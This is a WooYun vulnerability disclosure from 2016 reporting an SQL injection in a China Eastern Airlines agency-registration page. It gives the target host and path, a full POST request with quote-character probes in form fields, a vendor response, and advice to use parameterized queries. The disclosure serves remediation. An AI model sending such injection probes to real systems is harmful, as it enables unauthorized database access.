当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0206015

漏洞标题:中国东方航空股份有限公司某站SQL注入

相关厂商:中国东方航空股份有限公司

漏洞作者: 路人甲

提交时间:2016-05-07 14:54

修复时间:2016-06-21 15:30

公开时间:2016-06-21 15:30

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-07: 细节已通知厂商并且等待厂商处理中
2016-05-07: 厂商已经确认,细节仅向厂商公开
2016-05-17: 细节向核心白帽子及相关领域专家公开
2016-05-27: 细节向普通白帽子公开
2016-06-06: 细节向实习白帽子公开
2016-06-21: 细节向公众公开

简要描述:

当用户可控的数据未经过恰当的处理就进入了数据库执行的SQL语句中时,就可能存在SQL注入漏洞。攻击者可以定制特定的字符来改变SQL语句的语义。通过SQL注入漏洞可以造成多种危害,包括读取或者修改应用的数据,改变程序逻辑,提升权限和执行操作系统命令等。

详细说明:

1、漏洞触发页面以及对应功能:
http://122.119.74.149/ceagent/front/regist/agency-regist!doFillInfo.shtml
注册代理的接口。
有waf。
、漏洞复现具体流程,包含具体payload和完整的数据包:

POST /ceagent/front/regist/agency-regist!doApplyAgency.shtml HTTP/1.1
Host: 122.119.74.149
Content-Length: 1004
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://122.119.74.149
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://122.119.74.149/ceagent/front/regist/agency-regist!doFillInfo.shtml
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4,fr;q=0.2
Cookie: Webtrends=42.81.64.69.1462595850175363; JSESSIONID=000090KZ21YUwCs4Kd_XrEFm_Vc:17oarlbrj; Hm_lvt_d86a851fdb4ea57189149064d11606d4=1462596028; Hm_lpvt_d86a851fdb4ea57189149064d11606d4=1462596810
AlexaToolbar-ALX_NS_PH: AlexaToolbar/alx-4.0
agency.nameCn=basdfddddsfasdddfDDD aasdfsdddf'"&agency.companyType=&agency.registeredCapital=&agency.empNum=1234&province=%E6%B2%B3%E5%8D%97%E7%9C%81&city=%E8%AF%B7%E9%80%89%E6%8B%A9&secondGrade=%E8%AF%B7%E9%80%89%E6%8B%A9&agency.address=asdfadsf&agency.contact=%E5%A4%A7%E5%90%8D&agency.contactIdno=&agency.contactMobile=15388887777&agency.contactPhone=01923848&agency.contactFax=&agency.contactEmail=test%40qq.com&agency.contactQq=&agency.contactMsn=&deptId=1273831&agency.qualification=21&agency.iatano=123444&agency.officeCode='aaaaaaaaaa&agency.certificatePic=&agency.licensePic=%2Fopt%2Fappdata%2Ffile%2Fceagent%2Ffront%2Fagency%2Flicense_20160507125317.png&agency.contactIdPic=&agency.legalPersonID=%2Fopt%2Fappdata%2Ffile%2Fceagent%2Ffront%2Fagency%2FlegalPersonID_20160507125317.png&agency.taxFile=%2Fopt%2Fappdata%2Ffile%2Fceagent%2Ffront%2Fagency%2FtaxFile_20160507125317.png&agency.airQualificationFile=%2Fopt%2Fappdata%2Ffile%2Fceagent%2Ffront%2Fagency%2FqualificationFile_20160507125317.png

漏洞证明:

数据库相关信息证明,仅证明,未存储下载任何敏感信息

屏幕快照 2016-05-07 下午1.32.11.png

修复方案:

最有效的防御SQL注入的方式是在所有的数据库操作上使用参数化查询(也被称为预编译)。预编译通过两步把可能存在危害的数据整合到SQL查询中。第一步,应用定义查询语句的结构,在语句中预留位置给用户输入。第二部,应用把每个位置需要的用户输入传递给数据库。因为第一步中,应用已经定义了语句的结构,数据库已经对语法进行了编译,第二部中及时传入恶意的用户输入也无法影响SQL语句的语意,从而避免了SQL注入攻击。对于不同的数据库和编程语言需要查询文档,寻找合适的api。强烈建议使用参数化处理SQL语句中的每一个变量。需要注意的是以下一些防御SQL注入的方式并不总是有效的,所以不建议大家使用以下的方式防御SQL注入:一种常见的方式是在用户数据拼接到SQL语句之前转义其中的单引号。这是为了避免用户插入单引号,改变了SQL的语法。但是如果变量类型是数字型,这种防御就可能失败。因为SQL语句结构中并没有单引号包裹变量的话,仅仅使用空格就可以改变语法结构。另一种常见的防御方案是使用存储过程。尽管存储过程提供了很多安全特性,但是并不能保证防御SQL注入。当存储过程中可以动态创建SQL结构的时候就可能会发生SQL注入。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2016-05-07 15:21

厂商回复:

十分感谢!最好再详细点。

最新状态:

暂无